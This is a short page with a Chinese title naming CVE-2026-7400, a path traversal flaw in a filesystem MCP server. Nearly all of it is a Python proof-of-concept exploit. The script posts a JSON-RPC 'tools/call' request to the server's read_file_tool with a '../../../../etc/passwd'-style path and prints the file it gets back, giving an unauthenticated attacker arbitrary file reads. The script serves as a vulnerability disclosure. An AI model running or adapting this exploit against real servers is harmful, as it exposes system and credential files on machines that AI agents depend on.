CVE-2026-7400 filesystem-mcp-server路径遍历漏洞

import requests import json # PoC for CVE-2026-7400: Path Traversal in geekgod382/filesystem-mcp-server # This script demonstrates how an unauthenticated attacker can read arbitrary files. TARGET_URL = "http://target-host:port" # Replace with actual target URL # Malicious payload using path traversal sequences to read /etc/passwd payload = { "jsonrpc": "2.0", "method": "tools/call", "params": { "name": "read_file_tool", "arguments": { "path": "../../../../../../../etc/passwd" } }, "id": 1 } headers = { "Content-Type": "application/json" } try: print(f"[*] Sending payload to {TARGET_URL}...") response = requests.post(TARGET_URL, data=json.dumps(payload), headers=headers, timeout=10) if response.status_code == 200: result = response.json() # Check if the response contains file content (structure may vary based on implementation) if "result" in result: print("[+] Exploit successful! Arbitrary file read achieved.") print("[+] File Content:") print(result.get("result", {}).get("content", "No content field found")) else: print("[-] Request sent but response format unexpected.") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")